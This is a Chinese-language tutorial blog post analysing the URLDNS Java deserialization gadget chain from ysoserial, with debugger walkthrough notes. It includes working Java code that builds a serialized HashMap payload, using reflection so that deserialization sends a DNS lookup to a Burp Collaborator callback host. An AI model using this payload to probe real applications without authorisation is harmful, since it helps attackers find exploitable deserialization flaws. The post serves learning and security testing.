URLDNS链

视频:https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click&vd_source=525a280615063349bad5e187f6bfeec3

前言

URLDNS链是ysoserial里的一个简单利用链

通过DNS请求检测是否存在Java反序列化漏洞,但是只能发起DNS请求,不能进行其他利用

对JDK版本没有要求,只依赖原生类(不过调链子时发现在序列化时JDK17会出现无权限修改私有字段报错,最好使用JDK9以下的版本)

URLDNS链分析

URL类继承了java.io.Serializable,是可以序列化的

image-20251021190636381

URL类中有个常见的hashCode()函数

image-20251021190529307

在这个hashCode函数中调用了handlerhashCode函数

image-20251021191243904

进入handlerhashCode函数中可以看到调用了getHostAddress()函数,是根据域名获取地址,会进行域名解析,发送DNS请求

image-20251021213110105

image-20251021213137644

最后InetAddress.getName这里可以触发DNS请求

所以只要能调用到URL类中的hashCode()函数,就可以发起DNS请求,验证是否存在漏洞

HashMap中的readObject()函数中可以看到调用了hash()函数

image-20251021192008128

跟进可以看到在hash()函数中调用了hashCode()函数

image-20251021192118707

所以进行构造,入口类就是HashMap类,执行类就是URL类,都有相同名称类型的hashCode()方法

URL的构造函数知道直接传入一个URL网址即可,可以使用BurpSuite的Collaborator生成一个

image-20251021192737644

最后序列化hashmap即可

image-20251021195903203

然后立即轮询,正常在序列化时是什么都不会发生的,但是会发现在序列化的时候就会发起多次DNS查询,并且进行反序列化后并不会有DNS请求

image-20251021195918656

跟进hashmapput中,会发现此时就会调用hash()方法

image-20251021200751007

进而调用了hashCode()方法,所以会发起DNS请求

image-20251021200831092

所以当代码运行到下面这段代码时就会发起DNS请求,会影响对是否存在反序列化漏洞的判断

1
hashmap.put(new URL("http://q3uy1mhj5wykolrewrdopeeqyh49szgo.oastify.com"),1);

重新回到URL类中的hashCode函数,可以发现这里存在一个判断:如果hashCode != -1就会直接返回hashCode,不会执行到下面的handlerhashCode函数,也就不会触发getHostAddress()函数,所以在反序列化时不会发起DNS查询

image-20251021201201642

这里hashCode在初始化的时候是-1

image-20251021201511111

在执行完hashmap.put(new URL("http://q3uy1mhj5wykolrewrdopeeqyh49szgo.oastify.com"),1);这句代码之后就变成了输入的URL的hashCode,可以通过调试查看此时的hashCode的值已经不是-1

image-20251021202209695

image-20251021202015292

现在就是要在执行hashmap.put(new URL("http://q3uy1mhj5wykolrewrdopeeqyh49szgo.oastify.com"),1);时不要发起DNS请求,在执行完这句代码后、序列化之前,将hashCode改回-1,从而可以在反序列化时发起DNS请求

这就需要利用反射来改变已有的对象属性,将hashCode改回-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);

HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
// 这里不要发起请求,把URL对象的hashcode改成不是-1
URL url = new URL("http://q3uy1mhj5wykolrewrdopeeqyh49szgo.oastify.com");
// 这里把hashcode改回-1,通过反射改变已有对象的属性
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123456);
hashmap.put(url,1);
hashcodefield.set(url,-1);

serialize(hashmap);
}
}

此时序列化是不会发起DNS请求

image-20251021205655504

然后反序列化可以看到有一次DNS请求

image-20251021211250680

在判断hashCode值这里下一个断点,然后调试反序列化代码,可以看到此时这里的hashCode的值为-1

image-20251021211010241

总结

  • 入口类:HashMap类:入口类的HashMap.readObject中的HashMap.hash中的Object.hashCode
  • 调用类:URL类:通过调用URL.hashCode中的URLStreamHandler.hashCode中的URLStreamHandler.getHostAddress中的InetAddress.getByName来发起DNS请求
  • 相同名称类型的函数:hashCode
  • HashMap可以接收Object对象,所以可以将URL类的实例化对象传入HashMap中,最终在HashMap中调用的不是Object.hashCode,而是URLStreamHandler.hashCode

所以URLDNS的利用链是:

  1. HashMap.readObject()
  2. HashMap.hash()
  3. URL.hashCode()
  4. URLStreamHandler.hashCode()
  5. URLStreamHandler.getHostAddress()
  6. InetAddress.getByName()

URLDNS链
https://yschen20.github.io/2025/10/21/URLDNS链/
作者
Suzen
发布于
2025年10月21日
更新于
2025年10月21日
许可协议